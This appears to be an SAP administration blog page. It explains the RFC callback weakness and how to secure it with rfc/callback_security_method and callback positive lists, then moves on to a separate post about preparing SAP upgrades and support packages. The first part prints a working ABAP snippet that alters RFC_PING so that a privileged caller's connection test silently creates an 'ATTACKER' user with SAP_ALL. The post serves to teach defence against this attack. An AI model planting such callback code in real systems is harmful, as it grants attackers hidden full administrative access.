
When you start transaction SM59 for setting up RFC connections, you might see the red icon telling you RFC callback check not secure.

RFC callback not secure

This blog will explain you following:

  • How can a hacker exploit this RFC callback weakness?
  • How to make the RFC callback secure?
  • What is the difference between RFC callback simulation and intervention?
  • What to do in case of a valid use of RFC callback?

RFC callback hacking in action

What the RFC callback does is basically firing back function modules to the sender. These modules are then executed on the originating system with the privileges of the original caller.

If an attacker has gained access to one system and modifies code that is called from another system it can fire commands to the other system with the privileges of the caller.

In the example below the attacker has altered the standard RFC_PING function module (code snippet is below). He then convinces a high privilege admin of the target system to remotely call and ping the compromised system for example by asking the admin to do a connection test in SM59 (which calls the RFC_PING module). The callback code is fired against the target system and is run with the user ID of the admin (not of the attacker) of the target system.

RFC callback hack explanation

Code snippet of modified RFC_PING:

  • Call module to create user on destination ‘BACK’ and set the password.
  • Assign the privilege SAP_ALL (highest available privilege)
 DATA: ZLV_BAPIBNAME TYPE SY-UNAME.
 DATA: ZLS_BAPILOGOND TYPE BAPILOGOND.
 DATA: ZLV_BAPIPWD TYPE XUNCODE.
 DATA: ZLS_BAPIADDR3 TYPE BAPIADDR3.
 DATA: ZLT_BAPIRET2 TYPE TABLE OF BAPIRET2.
 DATA: ZLS_BAPIPROF TYPE BAPIPROF.
 DATA: ZLT_BAPIPROF TYPE TABLE OF BAPIPROF.
 
   ZLV_BAPIBNAME = 'ATTACKER'.
   ZLS_BAPILOGOND-USTYP = 'A'.
   ZLV_BAPIPWD = 'Welcome_in1!'.
   ZLS_BAPIADDR3-LASTNAME = 'Attacker'.
 
   CALL FUNCTION 'BAPI_USER_CREATE1' DESTINATION 'BACK'
     EXPORTING
       USERNAME                      = ZLV_BAPIBNAME
       LOGONDATA                     = ZLS_BAPILOGOND
       PASSWORD                      = ZLV_BAPIPWD
       ADDRESS                       = ZLS_BAPIADDR3.
 
 ZLS_BAPIPROF-BAPIPROF = 'SAP_ALL'.
 APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
 ZLS_BAPIPROF-BAPIPROF = 'SAP_NEW'.
 APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
 
 CALL FUNCTION 'BAPI_USER_PROFILES_ASSIGN' DESTINATION 'BACK'
   EXPORTING
     USERNAME       = ZLV_BAPIBNAME
   TABLES
     PROFILES       = ZLT_BAPIPROF
     RETURN         = ZLT_BAPIRET2.

If the admin executes the ping towards the compromised system he will see this screen:

RFC ping

The only suspicious part the admin might see is the slightly longer logon time (in which the callback is executed).

End result on target system: ATTACKER user created by ADMIN user.

Attacker user created

With the privileges:

Attacker admin privileges assigned

This is one example. There are many different creative ways in which a callback RFC can be misused.

Detection of the RFC callbacks

RFC callback actions are registered in the SAP audit log if they are configured. The default classification is warning for RFC callback.

Audit log trace for the above action looks as follows:

Audit log for user ADMIN

How to make the RFC callback secure?

The SAP system parameter rfc/callback_security_method (set it in RZ11) is determining the RFC callback behavior.

rfc/callback_security_method set to 1 means basically “do nothing”. This is the insecure default setting and it will result into the red traffic light on SM59 RFC connection setup screen.

rfc/callback_security_method set to 2 means “simulation active”. With this setting entries are written to the audit log (for setup of the audit log see this blog).  This setting is still insecure!

It can be used on a productive system to see which callbacks are coming in and do analysis before switching to 3 (fully secure, but immediate interception).

Make sure in the audit log, that the simulation is captured:

Simulate for a while, and the generate the white list (or positive list):

rfc/callback_security_method set to 3 means that the system will do interfception of RFC callback methods. This is the secure setting. The SM59 RFC connection traffic light will now show green:

RFC callback secure

Callback positive lists

In some cases an RFC callback is used with a good intention and reason. These exceptions can be put into the callback positive list. Per RFC on the Logon & security tab you can activate the combination of called and called back function modules.

If you have enabled the audit log, you can use it to generate RFC callback positive lists. In SM59 select the option: RFC / Generate RFC Callback Positive List.

Check to apply OSS note 2863851 – RFC Callback Positive Lists not created.

If you have spaces in the RFC, or by accident add a space as well, it can also give issues. Apply OSS note 2941068 – sm59/Callback whitelist input validation missing to fix this issue.

A callback can be seen as ST22 dump CALL_FUNCTION_BACK_REJECTED: see OSS note 2981184 – What to do in case of CALL_FUNCTION_BACK_REJECTED short dump.

Bug fix notes

Bug fix notes:

Known positive callback: SAP CUA

SAP CUA (central user administration) uses a callback to fetch profiles. In your CUA system per RFC to remote child CUA system you have to set the following positive callback:

CUA postive callback settings

(SUSR_ZBV_GET_REMOTE_PROFILES and SUSR_ZBV_SEND_PROFILES)

Known positive callback: SAP screen painter RFC EU_SCRP_WN32

In the screen painter RFC EU_SCRP_WN32 add the following list of modules (see OSS note 2251931 – Runtime error CALLBACK_REJECTED_BY_WHITELIST in graphical Screen Painter):

RS_SCRP_GF_PROCESS_640         RFC_GET_FUNCTION_INTERFACE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RBUILDINFO

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RELEMTABLE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RICONS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RKEYS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RKEYTEXTS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RMESSAGES

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RPROPTABLE

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RSTATUS_40

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RTEXTS

RS_SCRP_GF_PROCESS_640         RS_SCRP_GF_RDDICFIELDS

The screen painter is hardly used nowadays at all. Normally developer use this tool only on development system.

Known positive callback: remote ATC scenario

See OSS note 3084103 – Analyze reference check variants for RFC callbacks.

Known random callback issue: transport related callback calls

Some cases around transports are know. For example with system copies and refreshes. An RFC callback dump on module TRINT_PROGRESS_INDICATOR might occur on RFC destination BACK. In the dump you will find the real RFC (type TCP/IP) destination with variable LV_TP_DESTINATION. Regeneration is needed. Follow the instructions of OSS note 3356141 – CALLBACK_REJECTED_BY_WHITELIST when showing transport orders buffer.

Preparation for SAP upgrade or support package

This blog explains about preparation you can do for SAP upgrade of support package.

Questions that will be answered are:

  • Where to find support package schedule?
  • Where to find version information on upgrades?
  • Do I need to do delta sizing for upgrade?
  • Do I need to perform extra preparation steps for an S4HANA upgrade?
  • Determining the version: why not to use the latest minus one?

Latest available main version for upgrade

For the latest available version you can check the SAP product availability matrix site. This is also know as the SAP-PAM.

After finding the right product on the first tab you can see the current release details and end of support date.

PAM details release and support dates

On the second tab you see the upgrade paths that are supported:

PAM details upgrade paths

In the middle the target version. On the left hand the versions from which you can upgrade. To the right are even higher versions you can upgrade to.

Also check here the support Linux versions. You might be surprised: you often need to upgrade the operating system first before you can upgrade your application.

Same for the HANA database or database version: newer releases of functional software will force you to upgrade your database as (or upgrade database first).

Latest available versions of support packages

The latest available versions of support packages are published by SAP on the SAP support package stacks page. On this page click on the SAP support package stack maintenance schedule link to download the latest version of the schedule.

Support package version: minus one or latest?

In many companies there is a policy to never take the latest version of a support package. The line of thinking is: let other people solve the bugs of SAP first.

Current delivery of ABAP support packages is quite good. And the frequency is not so high as in the past. For ECC about 2 to 3 support packages per year are released (as compare to 6 to 9 in the past in the 4.6 ages).

In stead of taking minus one, you can also consider this rule: at point of go-live make sure that the support package is at least released 3 months ago. This will counter the risk of having an issue which is not discovered by anyone else before.

People using the rule minus one without thinking should not be trusted. It is like going to Apple and insisting on Iphone 11, because you don't trust Iphone 12 and use the rule minus one...

Delta sizing

Delta sizing for support packages is not needed. Delta sizing for an upgrade might be required if:

  • Upgrade crosses multiple versions (for example upgrade from Netweaver 6.20 to Netweaver 7.51)
  • Upgrade is including a new database (for example migration to HANA database)
  • Specific upgrade manual is specific about delta sizing (for example the upgrade from SAP solution manager 7.1 to 7.2 is specific enough to carry out delta sizing)
  • For ECC to S4HANA conversion

Custom code

For analyzing custom code before the upgrade you can use the CDMC toolset. For more information read this blog.

Also use the clone finder to find clones. You might need to delete the clones or adjust them after the upgrade. More information on the clone finder tool can be read in this blog.

Releasing transports and cleaning up transport pipeline

For both support package and upgrade releasing transports is a technical must. It is wise to start a few months before already cleaning up the transport pipeline (transports that are old and not released in development system, transports that are imported into quality environment, but no imported in productive system).

Check the clients

Check if you still have client 001 or 066. If yes, consider deletion. See dedicated blog.

BI queues

During the upgrade all BI queues must be empty. Check it upfront and/or delete them. For more information on BI queue deletion, read this dedicated blog.

Inactive code and data dictionary objects

Before upgrade or support pack can start all code and data dictionary objects must be activated or deleted.

In some rare cases there are inconsistencies in the data dictionary objects. Check table DWINACTIV in this case.

Side effect report for support packages

Per support package SAP keeps track of the unwanted side effects. OSS note 2388572 explains you how to retrieve them for your support package. Best to scan the side effects and apply the ones you think are needed.

For upgrades the side effects list is too large: here you simply need to test and fix any issues encountered.

New functions

After the upgrade you can start to use new functions. Some main functions are listed in the SAP help pages. The more unknown small features are listed by SAP in the SAP improvements finder xls. This xls has 2 tabs: first with the most recent and second with the long list of improvements since 2014. Per improvement you need to check pee-conditions of release and support package, but if you upgraded to recent version, most of the improvements will be installed. Some improvements are always active, some need extra activation steps. This is documented per improvement item.

New security parameters

After an upgrade (not support packs) new security parameters can be introduced to SAP. Prepare already which ones might impact you. For S4HANA upgrades and new security parameters read this dedicated blog.

S4HANA upgrade preparations

If you are upgrading your existing S4HANA upgrade, read this dedicated blog on S4HANA upgrade preparations. And run the readiness check: read this blog.

S4HANA conversion preparations

An upgrade from ECC to S4HANA requires a different approach. In this upgrade also the simplification items and custom code migrations must be done. Read more in this dedicated blog.

For more S4HANA conversion preparations, read this blog.

Aftercare after upgrade

For aftercare after upgrade or support package read this blog.